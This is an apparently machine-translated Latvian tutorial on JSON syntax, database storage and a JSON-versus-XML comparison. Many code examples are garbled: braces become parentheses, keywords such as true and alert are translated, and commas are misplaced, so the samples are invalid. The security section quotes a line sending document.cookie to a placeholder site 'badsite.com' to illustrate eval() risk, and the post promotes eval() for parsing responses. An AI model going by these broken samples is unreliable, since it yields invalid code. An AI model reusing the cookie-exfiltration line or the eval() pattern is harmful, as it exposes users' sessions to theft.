Es apzināti neparādīju līniju “koka” formā, jo tas tiek pārraidīts tieši šādā formā. Un, kā jūs varat novērtēt, datu ierakstīšana JSON formātā izrādījās ļoti kompakta, kas nozīmē, ka šo datu pārsūtīšana no servera uz pārlūkprogrammu notiks gandrīz acumirklī.

2. Sarežģītu datu struktūru ierakstīšana datu bāzē.

Dažkārt ir situācijas, kad nav ieteicams datu bāzē izveidot citu tabulu dažādu datu glabāšanai. Pieņemsim, ka vietnē reģistrētam lietotājam ir iespēja pielāgot fona krāsu un teksta krāsu.

Tā vietā, lai izveidotu citu tabulu diviem iestatījumiem, varat vienkārši izveidot tabulā teksta kolonnu ar lietotāju sarakstu, kurā ievietot lietotāja iestatījumu datus. Tad iestatījumu atjaunināšanas pieprasījums varētu būt, piemēram, šāds:

UPDATE lietotāju SET iestatījumi = "("fona krāsa":"#FFFFFF", "teksta krāsa":"#000000")" WHERE lietotāja_id = 10

Nākotnē, saņemot informāciju no lietotāju tabulas, php skripts var viegli pārvērst tos atpakaļ masīvā ar iestatījumiem. Piemēram, ja mainīgais $user_info satur datus, kas par lietotāju iegūti no lietotāju tabulas, masīva ar iestatījumiem iegūšana ir ļoti vienkārša:

$settings = json_decode($user_info["iestatījumi"], patiess); echo "Fona krāsa = ".$settings["fona krāsa"]; echo "Teksta krāsa = ".$settings["text-color"];

JSON formātā varat arī, piemēram, ierakstīt datu bāzē, kuras produkta opcijas pircējs izvēlējies.

("15":["45","47"], "18":"52") // 15. opcijai ir atlasītas vērtības 45 un 47, un 18. iespējai ir atlasīta vērtība 52

Principā jūs pat varat rakstīt visu groza saturu JSON formātā, piemēram, šādi:

( "user_id" : 10, "session_id" : "2c2l3h4ii271aojentejtdcmh3", "products": [ ( "product_id" : 15, "options" : ( "15" : , "18" : 52), "quantity" : 1, "price" : 1500 ), ( "product_id" : 16, "options" : ( "15" : , "18" : 51 ), "quantity" : 2, "price" : 1000 ) ] )

Parastajā formā, kas nav koks, šī JSON virkne būtu šāda:

("user_id":10,"session_id":"2c2l3h4ii271aojentejtdcmh3","products":[("product_id":15,"options":("15":,"18":52),,"quantity":1 , "price":1500),("product_id":16"options":("15":"18":51),"quantity":2"price":1000)])

Tādējādi, kā redzams no piemēriem, gandrīz jebkuru informāciju var saglabāt un pārsūtīt JSON formātā.

JSON (JavaScript Object Notation) ir datu pārsūtīšanas formāts. Kā norāda nosaukums, formāts ir balstīts uz JavaScript programmēšanas valodu, taču tas ir pieejams arī citās valodās (Python, Ruby, PHP, Java).

JSON izmanto paplašinājumu .json. Ja to izmanto citos failu formātos (piemēram, .html), JSON virkne tiek citēta vai piešķirta mainīgajam. Šis formāts ir viegli pārsūtāms starp tīmekļa serveri un klientu vai pārlūkprogrammu.

Viegls un viegli saprotams, JSON ir lieliska alternatīva XML.

Šī apmācība iepazīstinās jūs ar JSON priekšrocībām, objektiem, vispārējo struktūru un sintaksi.

JSON sintakse un struktūra

JSON objekts ir atslēgas vērtības formā un parasti tiek rakstīts krokainajās iekavās. Strādājot ar JSON, visi objekti tiek saglabāti .json failā, taču tie var pastāvēt arī kā atsevišķi objekti programmas kontekstā.

JSON objekts izskatās šādi:

"first_name" : "Jānis",
"last_name" : "Smits",
"vieta": "Londona",
"tiešsaistē": patiesi,
"sekotāji": 987

Šis ir ļoti vienkāršs piemērs. JSON objektā var būt daudz rindiņu.

Kā redzat, objektu veido atslēgu-vērtību pāri, kas ir ietverti krokainās iekavās. Lielākā daļa datu JSON tiek rakstīti kā objekti.

Starp atslēgu un vērtību tiek ievietots kols. Pēc katra pāra jāliek komats. Rezultāts ir:

"key" : "vērtība", "atslēga" : "vērtība", "atslēga" : "vērtība"

JSON atslēga atrodas kreisajā pusē. Atslēga jāievieto dubultpēdiņās. Kā atslēgu var izmantot jebkuru derīgu virkni. Viena objekta ietvaros visām atslēgām jābūt unikālām. Atslēgā var būt atstarpe (“vārds”), taču programmēšanai var rasties problēmas ar piekļuvi šādai atslēgai. Tāpēc atstarpes vietā labāk ir izmantot pasvītrojumu (“first_name”).

JSON vērtības atrodas kolonnas labajā pusē. Kā vērtību var izmantot jebkuru vienkāršu datu tipu:

• Stīgas
• Skaitļi
• Objekti
• Masīvi
• Būla dati (patiesi vai nepatiesi)

Vērtības var attēlot arī ar sarežģītiem datu tipiem (piemēram, objekti vai JSON masīvi).

JSON atbalsta individuālu sintaksi katram no iepriekš uzskaitītajiem datu tipiem: ja vērtību attēlo virkne, tā tiks norādīta citā veidā, bet, ja tas ir skaitlis, tas netiks norādīts.

Parasti dati .json failos tiek rakstīti kolonnā, taču JSON var rakstīt arī rindā:

( "first_name" : "Jānis", "uzvārds" : "Smits", "tiešsaistē": patiess, )

Šādi JSON dati parasti tiek ierakstīti citos failu tipos.

Ierakstot JSON datus kolonnā, jūs uzlabojat faila lasāmību (īpaši, ja failā ir daudz datu). JSON ignorē atstarpes starp kolonnām, tāpēc varat tās izmantot, lai sadalītu datus pārvaldāmā kolonnu skaitā.

"first_name" : "Jānis",
"last_name" : "Smits",
"tiešsaistē": taisnība

Ņemiet vērā, ka JSON objekti ir ļoti līdzīgi JavaScript objektiem, taču tie nav vienāda formāta. Piemēram, varat izmantot funkcijas JavaScript, bet ne JSON.

JSON galvenā priekšrocība ir tā, ka datus šajā formātā atbalsta daudzas populāras programmēšanas valodas, tāpēc tos var ātri pārsūtīt.

Tagad esat iepazinies ar pamata JSON sintaksi. Taču JSON failiem var būt sarežģītas, hierarhiskas struktūras, kas ietver ligzdotus masīvus un objektus.

Sarežģīti veidi JSON

JSON var saglabāt ligzdotos objektus un masīvus, kas tiks nodoti kā tiem piešķirtās atslēgas vērtība.

Ligzdoti objekti

Zemāk jūs atradīsiet piemēru – failu users.json, kas satur lietotāja datus. Katram lietotājam

("john", "jesse", "drew", "džamie") ligzdots objekts tiek nodots kā vērtība, kas savukārt sastāv arī no atslēgām un vērtībām.

Piezīme. Pirmais ligzdotais JSON objekts ir iezīmēts sarkanā krāsā.

"Džons" :(
"lietotājvārds" : "Jānis",
"vieta": "Londona",
"tiešsaistē": patiesi,
"sekotāji": 987

"Džesija" :(
"lietotājvārds" : "Džesija",
"vieta" : "Vašingtona",
"tiešsaistē": nepatiess,
"sekotāji": 432

"zīmēja" :(
"lietotājvārds": "Drew",
"atrašanās vieta": "Parīze",
"tiešsaistē": nepatiess,
"sekotāji": 321

"Džeimi" :(
"lietotājvārds" : "Džeimijs",
"atrašanās vieta": "Berlīne",
"tiešsaistē": patiesi,
"sekotāji": 654

Ņemiet vērā, ka lokainās figūriekavas tiek izmantotas gan ligzdotajā objektā, gan galvenajā objektā. Komati ligzdotajos objektos tiek lietoti tāpat kā parastajos objektos.

Ligzdotie masīvi

Datus var ligzdot JSON, izmantojot JavaScript masīvus, kas tiks nodoti kā vērtības. JavaScript izmanto kvadrātiekavas () masīva sākumā un beigās. Masīvs ir sakārtota datu kolekcija, kas var saturēt dažāda veida datus.

Masīvu izmanto, lai pārsūtītu lielu datu apjomu, ko var grupēt. Piemēram, mēģināsim ierakstīt lietotāja datus.

{
"first_name" : "Jānis",
"last_name" : "Smits",
"vieta": "Londona",
"tīmekļa vietnes" : [

"description" : "darbs",
"URL" : "https://www.johnsmithsite.com/"

},
{

"apraksts" : "pamācības",
"URL" : "https://www.johnsmithsite.com/tutorials"

"sociālie mēdiji" : [

"apraksts" : "twitter",
"saite": "https://twitter.com/johnsmith"

"apraksts": "facebook",
"saite" : "https://www.facebook.com/johnsmith"

"description" : "github",
"saite": "https://github.com/johnsmith"

Atslēgām “websites” un “social_media” kā vērtības tiek piešķirti masīvi, kas ir ievietoti kvadrātiekavās.

Izmantojot ligzdotos masīvus un objektus, varat izveidot sarežģītu datu hierarhiju.

JSON vai XML?

XML (eXtensible Markup Language) ļauj uzglabāt datus cilvēkiem un iekārtām viegli saprotamā formā. XML formātu atbalsta liels skaits programmēšanas valodu.

XML un JSON ir daudz kopīga. Tomēr XML prasa daudz vairāk teksta, kas nozīmē, ka šādi faili ir lielāki un grūtāk lasāmi un rakstāmi. Turklāt XML tiek apstrādāts tikai, izmantojot XML tulku, savukārt JSON var apstrādāt, izmantojot vienkāršu funkciju. Atšķirībā no JSON, XML nevar uzglabāt masīvus.

Salīdzināsim divus failus: tajos ir vienādi dati, bet pirmais ir rakstīts XML formātā, bet otrais JSON.

lietotāji.xml

Džons Londons

Džesija Vašingtona

Drū Parisa

Džeimijs Berlins

users.json
("lietotāji": [

("lietotājvārds": "Jānis", "atrašanās vieta": "Londona"),
("lietotājvārds": "Džesija", "atrašanās vieta": "Vašingtona"),
("lietotājvārds": "Drew", "atrašanās vieta": "Parīze"),
("lietotājvārds": "JamieMantisShrimp", "atrašanās vieta": "Berlīne")

JSON ir ļoti kompakts formāts, un tam nav nepieciešams tik daudz tagu kā XML. Turklāt XML atšķirībā no JSON neatbalsta masīvus.

Ja esat pazīstams ar HTML, pamanīsit, ka XML formāts tam ir ļoti līdzīgs (jo īpaši tagiem). JSON ir vienkāršāks, prasa mazāk teksta, un to ir vieglāk izmantot, piemēram, AJAX lietojumprogrammās.

Protams, formāts jāizvēlas atkarībā no aplikācijas vajadzībām.

Rīki JSON

JSON parasti izmanto JavaScript, bet formāts tiek plaši izmantots citās programmēšanas valodās.

Plašāku informāciju par JSON saderību un apstrādi var atrast projekta vietnē un jQuery bibliotēkā.

Reti kad tiek uzrakstīts JSON no nulles. Parasti dati tiek ielādēti no avota vai pārveidoti par JSON. Varat konvertēt CSV vai tabulēšanas datus par JSON, izmantojot atvērtā koda rīku Mr. Datu pārveidotājs. Lai konvertētu XML uz JSON un otrādi, izmantojiet utilities-online.info. Strādājot ar automātiskajiem instrumentiem, noteikti pārbaudiet rezultātus.

JSON failus (tostarp konvertētos datus) var pārbaudīt, izmantojot pakalpojumu JSONLint. Lai pārbaudītu JSON tīmekļa izstrādes kontekstā, skatiet JSFiddle.

Secinājums

JSON ir vienkāršs un viegls datu formāts. JSON failus ir viegli pārsūtīt, uzglabāt un lietot.

Mūsdienās API bieži izmanto JSON.

• Tulkošana

Piezīme. Tālāk ir sniegts apskata raksta “JSON vs XML” tulkojums, kas veltīts JSON un tā salīdzināšanai ar XML saskaņā ar vairākiem kritērijiem. Publicēts, lai popularizētu JSON Habrahabr lasītāju vidū.

JSON (JavaScript Object Notation) ir datu apmaiņas formāts, kas ir viegli lasāms cilvēkiem, viegli apstrādājams un ģenerējams ar programmām.

Pamatojoties uz JavaScript valodas apakškopu, standarta ECMA-262 3. izdevums — 1999. gada decembris.

JSON — Wikipedia

Kāds ir pareizais atbildes formāts XMLHttpRequest AJAX lietojumprogrammās? Lielākajai daļai uz iezīmēšanu balstītu lietojumprogrammu atbilde ir vienkārša — (X)HTML. Uz informāciju vērstām lietojumprogrammām izvēle būs starp XML un JSON. Vēl nesen es īsti nedomāju, ko labāk izmantot, XML vai JSON. Vienkārši pieņēmu, ka katrā konkrētajā gadījumā ir vērts izvēlēties piemērotāko formātu, tas arī viss. Bet nesen man bija iespēja pārbaudīt šo pieeju praksē. Šajā ierakstā es aprakstīšu kritērijus, pēc kuriem es salīdzināju XML un JSON, un savus secinājumus.

Tātad, kritēriji ir šādi.

• Koda lasāmība.
• Vienkārša servera puses datu objekta izveide.
• Vienkārša datu apstrāde klienta pusē.
• Viegli paplašināt.
• Atkļūdošana un kļūdu labošana.
• Drošība.

Koda lasāmība

Persona persona = new Person(); person.setFirstName("Subbu"); person.setLastName("Allamaraju"); rakstnieks.write(JSONObject.fromObject(persona).toString());

Ja ņemam vērā šādu programmēšanas saskarņu darbību, JSON izveide daudz neatšķiras no Java pupiņu serializēšanas objektos. Tomēr ir vērts atzīmēt, ka tagad ir daudz vairāk veidu, kā ģenerēt XML nekā JSON. Dažas no šīm XML API pastāv jau daudzus gadus, un šī iemesla dēļ tās var būt stabilākas, ja tās izmanto sarežģītām lietojumprogrammām.

Vēl viens aspekts, kas jāņem vērā, būs resursu apjoms, kas tiek izmantots atbildes ģenerēšanai. Ja, saņemot datus, jau tiek veiktas “smagas” operācijas, tad servera daļai nebūs grūti tos papildus pārveidot par XML atbildes saņemšanai. Ja XML izveide ir resursietilpīgākā darbība, tad labāk ir izmantot JSON.

Lietošanas ērtums

Klienta pusē JSON datu apstrāde kā atbilde uz XMLHttpRequest ir ļoti vienkārša.

Var persona = eval(xhr.responseText); brīdinājums(persona.vārds);

Izmantojot parasto eval(), jūs varat pārvērst atbildi par JavaScript objektu. Kad šī darbība ir pabeigta, datiem var piekļūt, izmantojot konvertētā objekta rekvizītus. Šī ir visa JSON elegantākā daļa.

Tagad apskatīsim XML. Lai padarītu tālāk redzamo koda fragmentu pārskatāmāku, esmu noņēmis visas kļūdu pārbaudes.

"vārds");

Acīmredzot, apstrādājot no servera saņemtos datus, ir jāpārskata viss DOM koks. Šī ir ļoti darbietilpīga darbība, un tā ir pakļauta kļūdām. Diemžēl pārlūkprogrammā mums ir jātiek galā ar DOM. Pārlūkprogrammas neatbalsta tādu vaicājumu valodu kā XPath koka mezglu izgūšanai XML dokumentā. Atbalsts šīm funkcijām jau attiecas uz XSLT, taču tas ir diezgan ierobežots ( piezīme: pārlūkprogrammā) attiecībā uz XML konvertēšanu iezīmēšanā (piemēram, HTML). Darba grupa tīmekļa saskarņu jautājumos ( Web API darba grupa) no W3C strādā pie selektora interfeisa ( Selectors API), ko var izmantot, lai lietotu CSS atlasītājus, atlasot mezglus no dokumenta objekta. Izmantojot šādu saskarni, iepriekš minēto koda piemēru būtu iespējams pārveidot par xml.match("person.firstName"), lai iegūtu elementu FirstName. Šajā piemērā tas nav liels sasniegums XML dokumentam, taču tas var būt noderīgs darbam ar ļoti sazarotiem dokumentiem. Šī saskarne vēl nav pabeigta, un paies gadi, līdz pārlūkprogrammas to atbalstīs.

Kopumā, ja man ir jāizvēlas starp XML un JSON, es došu priekšroku JSON, jo ir viegli ieviest klienta puses apstrādi.

Paplašināmība

Paplašināmība palīdz samazināt saziņas skaitu starp datu sniedzēju un saņēmēju. AJAX lietojumprogrammu kontekstā klienta puses skriptam ir jābūt pietiekami nemainīgam attiecībā uz saderīgām datu izmaiņām.

Vispārējs uzskats ir tāds, ka XML ir automātiski paplašināms, vienkārši pateicoties burta "X" klātbūtnei. Bet tas nav beznosacījumu noteikums (t.i., darbība pēc noklusējuma). XML paplašināšanas pamatā ir princips, ka varat definēt papildu mezglus savā XML un pēc tam lietot noteikumu “izlaist to, kas nav vajadzīgs” (t.i., ja XML apstrādes laikā saskaraties ar nepazīstamu elementu vai atribūtu, vienkārši izlaidiet to).

Lai pilnībā izmantotu paplašināšanas priekšrocības, jums ir jāraksta klienta puses kods, paturot prātā paplašināmību. Piemēram, ja vēlaties ievietot, piemēram, elementu MiddleName, šis piemērs tiks sabojāts.

Var xml = xhr.responseXML; var elementi = xml.getElementsByTagName("firstName"); var firstNameEl = elementi[0]; var uzvārdsEl = pirmaisVārdsEl.nextBrālis;

Ja ievietojat elementu uzreiz aiz elementa, šis piemērs izraisīs to, ka otrais vārds tiks nepareizi interpretēts kā uzvārds. Lai kods būtu nemainīgs attiecībā uz šīm izmaiņām, kods ir jāpārraksta, lai skaidri iegūtu elementu, vai piekļūstiet nextSibling tikai tad, ja tiek atrasts bērns ar vēlamo taguName. Tādējādi XML ir paplašināms, ja vien rakstāt kodu, paturot prātā turpmāko paplašināmību. Viss ir ārkārtīgi vienkārši.

Atgriezīsimies pie JSON. Es apgalvoju, ka JSON datus ir vieglāk paplašināt nekā XML. Tas neapšaubāmi prasa mazāk pūļu. Apsvērsim iespēju JSON atbildei pievienot rekvizītu MiddleName. Lai tai piekļūtu, jums vienkārši jāpiezvana.

Alert(person.middleName);

Šis kods nemainīsies, ja savai atbildei pievienosiet otro vārdu. Bet ko darīt, ja tiek apstrādāta persona ar vai bez otrā vārda? Ar JSON tas ir vienkārši.

if (person.middleName) ( // Apstrāde )

Mana nostāja ir tāda, ka, paturot prātā iespējamu paplašināšanu nākotnē, var paplašināt gan XML, gan JSON datus. Taču ir vieglāk paplašināt datus, izmantojot JSON, nevis XML. Jums vienkārši jāpārbauda, ​​vai objektā ir vajadzīgais īpašums, un jārīkojas saskaņā ar pārbaudes rezultātu.

Vēl viena iespēja paplašināt JSON datus ir izmantot funkciju izsaukumus kopā ar datu deklarācijām tieši atbildē.

Alert("Sveiks - es esmu persona"); (("vārds" : "Subbu", "uzvārds" : "Allamaraju"));

Kad dati tiek deklarēti, izmantojot eval(), pārlūkprogramma izsauks arī alert() izteiksmi. Šajā gadījumā jūs varat gan ielādēt datus, gan izpildīt funkcijas. Šī pieeja jāizmanto ļoti piesardzīgi, jo tā pārblīvē atbildi ar funkciju izsaukumiem un rada savienojumu starp zvaniem un datiem. Dažos avotos ir aplūkotas arī šīs pieejas iespējamās drošības ievainojamības, kas sīkāk aplūkotas turpmāk.

Atkļūdošana un kļūdu labošana

Šis aspekts attiecas gan uz jūsu lietojumprogrammas servera pusi, gan uz klienta pusi. Serverī ir jāpārliecinās, vai dati ir pareizi noformēti un pareizi. Klienta puses atbildē ir jābūt viegli atkļūdotai.

Izmantojot XML, ir salīdzinoši viegli pārbaudīt, vai klientam nosūtītie dati ir labi noformēti un pareizi. Varat izmantot shēmu saviem datiem un lietot to datu validēšanai. Izmantojot JSON, šis uzdevums kļūst manuāls, un tam ir jāpārbauda, ​​vai iegūtajam objektam ir pareizi atribūti.

No klienta puses abos gadījumos ir grūti atklāt kļūdas. XML gadījumā pārlūkprogramma to vienkārši nevarēs pārveidot par atbildes XML. Nelielam JSON datu apjomam atkļūdošanai un kļūdu labošanai varat izmantot paplašinājumu FireBug. Bet ar lielu datu apjomu kļūst nedaudz sarežģīti saistīt kļūdas ziņojumu ar noteiktu vietu kodā.

Drošība

Deivs Džonsons savā ziņojumā JSON un Golden Fleece norāda, ka JSON var radīt drošības problēmas. Piezīmes būtība ir tāda, ka, ja JSON atbildēs ļaujat ievietot funkciju izsaukumus kopā ar datiem un atbildes apstrādei izmantojat eval(), tad tiek izpildīts patvaļīgs kods, kas faktiski jau var ietvert drošības risku.

Window.location = "http://badsite.com?" + document.cookie; persona: ( "firstName" : "Subbu", "lastName" : "Allamaraju" )

Ja tiek izpildīta atbilde iepriekš minētajā piemērā, pārlūkprogramma nosūtīs lietotāja sīkfailus uz trešās puses vietni. Bet šajā gadījumā drošības apdraudējuma definīcijā ir zināmas neskaidrības. Nedrīkst uzticēties datiem vai kodam, kas iegūts no nepārbaudīta avota. Un, otrkārt, mēs nevarēsim izmantot XMLHttpRequest, lai sazinātos ar domēniem, kas nav skripta avota domēns. Tātad tikai paši izstrādātāji, veidojot lietojumprogrammu, var ierosināt sīkfailu nosūtīšanu uz trešās puses vietni. Tas ir diezgan apšaubāmi, jo viņi tikpat viegli varētu ievietot šo kaitīgo kodu jebkurā dokumentā ārpus no servera nosūtītās datu atbildes. Varbūt es kaut ko palaidu garām, taču es neredzu jēgu uzskatīt JSON par nedrošu salīdzinājumā ar XML.

Mana izvēle

Uz informāciju orientētām lietojumprogrammām es gribētu izmantot JSON, nevis XML, jo tas ir vienkāršākais un ērtā datu apstrāde klienta pusē. XML var būt neaizstājams serverī, taču JSON noteikti ir vieglāk strādāt ar klientu.

 

Varētu būt noderīgi izlasīt:

• Pārskats par DAIKIN gaisa kondicionieriem, instrukcijām tiem un lietotāju atsauksmēm;
• JSON: pamati;
• Mobilie sakari un viesabonēšana Tunisijā Kā ietaupīt uz mobilajiem sakariem;
• Western Digital Red: speciālie cietie diski priekš NAS Kāda ir atšķirība starp dažādu krāsu wd cietajiem diskiem;
• Kā iespējot failu paplašinājumu parādīšanu;
• Pamatdokumentu veidi programmā Word;
• Kā atjaunināt WhatsApp ierīcē nokia lumia — atjauniniet WhatsApp Messenger Kā atjaunināt WhatsApp ierīcē lumia 625;
• Samsung Galaxy Note7 Exynos — specifikācijas;